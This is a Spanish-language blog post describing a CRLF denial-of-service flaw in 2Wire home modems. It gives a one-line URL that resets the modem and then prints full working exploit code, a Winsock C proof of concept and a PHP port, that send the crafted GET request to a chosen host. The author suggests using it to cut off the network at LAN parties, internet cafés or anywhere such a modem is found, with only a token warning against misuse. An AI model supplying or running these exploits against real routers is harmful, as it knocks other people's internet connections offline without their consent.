Tirando un Dos a router 2wire
Hace tiempo me ya varios meses salio una vulnerabilidad en la cual le puedes hacer un ataque DOS a los módem 2Wire que son los que da telmex(Prodigy) o por lo general los que da.
La vulnerabilidad fue descubierta por el Mexhackteam  ya hace varios meses y consiste en enviar paquetes con los caracteres CRLF usados en entornos windows para generar un Retorno de Carro y un Salto de Linea mediante el método GET, el cual al no reconocer como manejarlos y cae en un DOS.
de echo sacaron un exploit y toda la cosa y hasta un wey lo paso a php pero la verdad es que a fin de cuentas el exploit ni se necesita.
Lo único que tenemos que hacer es poner la sig. url en nuestro explorador:
http://home/xslt?PAGE=%0D&0A
y vamos a notar como nos quedamos sin Internet o se cae la red, esto lo que hace es que reinicia nuestro módem o router,  esto en donde lo podemos usar pues en la Lan Party jejeje, o en un café Internet, o en cualquier lugar en donde tengan un módem 2wire, que por lo general si tienen prodigy lo tienen. la verdad no recuerdo q modelos son los que presentan la vulnerabilidad, pero bueno que le vamos a hacer.
haci que no hagan mal uso de esta vulnerabilidad.
si a alguien le interesa el código de los exploits aquí los dejo de todas formas:
//Vulnerable:    
//2Wire OfficePortal 0
//2Wire HomePortal 1500W
//2Wire HomePortal 100W
//2Wire HomePortal 100S
//2Wire HomePortal 1000W
//2Wire HomePortal 1000SW
//2Wire HomePortal 1000S
//2Wire HomePortal 1000
//2Wire HomePortal 0
////////////////////////////////// [ STARTING CODE ]
////////////////////////////////////////////////////
////
////  [ Explanation ] this PoC make an evil_request
////  and send to the server , when the server process
////  it the request fall him, AND THE MODEM WILL RESET!.
////
////  [ Note ] This Poc was coded  using Dev-C++  4.9.9.2
////  If you have any error with the librarys you need
////  include libws2_32.a at the project.
////
////                Enjoy it n_nU!..
////    Coded by preth00nker (using Mexican skill!)
#pragma comment(lib,"libws2_32.a")
#include 
#include 
#include 
#include "winsock2.h"
unsigned long dir;
char h[]="";
short port;
char badreq[]="";
int state;
int main(int argc, char *argv[])
{
 printf("\n################################################\n");
 printf("####\n");
 printf("####          PoC of DoS 2wire_Gateway\n");
 printf("####               By Preth00nker\n");
 printf("####         http://www.mexhackteam.org\n");
 printf("####\n");
 printf("####\n\n");
     if  (argc<4){
     printf("[Usage] %s $Host $Port $Variable\n",argv[0]);
     printf("\n[I.E.] %s 192.168.1.254 80 PAGE\n",argv[0]);
     return 0;
     }
    //Crear socket
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2,2),&wsaData);
    SOCKET wsck;
    //Estructuras
    struct sockaddr_in Wins;
    struct hostent *target;
    //Wins
    Wins.sin_family=AF_INET;
    Wins.sin_port=htons((short)atoi(argv[2]));
    target=gethostbyname(argv[1]);
    Wins.sin_addr.s_addr=inet_addr(inet_ntoa(*(struct in_addr *)target->h_addr));
    //llamamos al socket
    wsck=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,(int unsigned)NULL,(int unsigned)NULL,(int unsigned)NULL);
    //Verifica por error
    if (wsck==SOCKET_ERROR){printf("Error al crear el socket =!..");WSACleanup();return 0;}
    printf("Socket creado correctamente!..  hWndl: %d",wsck);
    //Conecta
    if(WSAConnect(wsck,(SOCKADDR*)&Wins,sizeof(Wins),NULL,NULL,NULL,NULL)==SOCKET_ERROR){
        WSACleanup();
        return 0;
        printf("\nError al conectar =!..");
    }
    printf("\nConectado!..");
    //Make a bad query and send it ..Mwajuajua!..
    strcat(badreq,"GET /xslt?");
    strcat(badreq,argv[3]);
    strcat(badreq,"=%0D%0A HTTP/1.0\r\n");
    strcat(badreq,"Accept-Language: es-mx\r\n");
    strcat(badreq,"User-Agent: MexHackTeam\r\n");
    strcat(badreq,"Host: ");   
    strcat(badreq,argv[1]);
    strcat(badreq, "\r\n\r\n\r\n");
    send(wsck , badreq ,(int)strlen(badreq), 0);
    printf("\nDatos Mandados!..");
    //finalized
    Sleep(100);
    printf("\nThat's all, Check this out!...\n");
    WSACleanup();
    return 0;
}
//////////////////////////////////////////// [ EOF ]
////////////////////////////////////////////////////
Y el codigo  en php es el sig:
@ini_set("max_execution_time",0);
print_r('
--------------------------------------------------------------------------------
dos 2wire
Exploit Original por preth00nker
Codeado en php por RootBox.
--------------------------------------------------------------------------------
');
if(!empty($_REQUEST['router'])) { $router = $_REQUEST['router']; }else{ die("Te falta especificar la direccion IP del router"); }
if(!empty($_REQUEST['port'])){ $puerto = $_REQUEST['port']; }else{ die("Te falta especificar el puerto"); }
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$socket) {
 echo "socket_create() fallo: razon: " . socket_strerror($socket) . "
"; exit(0);
}
 $result = @socket_connect($socket, $router, $puerto);
if (!$result) {
echo "socket_connect() fallo. razon: (".$result.") " . socket_strerror($result) . "
"; exit(0);
}
echo "Conexion establecida
\r\n";
echo "Enviando Paquete....
\r\n";
$requestheader  = "GET /xslt?PAGE=%0D&0A HTTP/1.0\r\n";
$requestheader .= "Accep-Language: es-mx\r\n";
$requestheader .= "User-Agent: PoCPHP\r\n";
$requestheader .= "Host: ".$router."\r\n\r\n\r\n\r\n";
socket_write($socket, $requestheader, strlen($requestheader));
sleep(4);
socket_close($socket);
echo "Datos enviados!!!, Talvez ya esta off.. prubea";
?>
Writed by Edgar Vilch...
 
 
  ![[Hacker]](http://photos1.blogger.com/x/blogger2/759/680428343480918/660/z/470327/gse_multipart10398.png)
![[Debian]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzz8LLWRIUyBMblI9WensuysNjmcC2B7PxEXsJ-kDOGuUdSIi2Pv8S1aBnesn0Q1yToeRmtL5v_o3HIbHmwDr0QMswXfl8lP4iP7IDilcGsYtlfwQiKGxfjGcWnX4PWlQpcUcNHfc7b6BU/s1600/button-debian.png)
![[Security-LCI]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXdHkNR_ICaPBftrX30QHC88ROyUvrq_nEf-3cwZ0krXZDBMfLRs0ByOLZ2AB-DShsHY2Ab9-7e1wTTGc72sYfjkPzwGOHssMVOrRgVTnVHvPqWRGS5DfFFP3qgN4wmp0QV-XlB4tJW-GW/s400/lci_seg.png)
![[Ubuntu]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-BgESRUPCNNxg8gyos0BpwRX4BPYPilwfAC57XF-u-IRxbn-MeH-x7YZZ_GGaR6X6v1n0CxaWo-YrtMae7joK725RL2UyJ8aCBQ7U6mXVrBbZv7xpJqX1reKbaxHvrStlK-kKYOOXqUXx/s200/ubuntu-es.png)
No hay comentarios.:
Publicar un comentario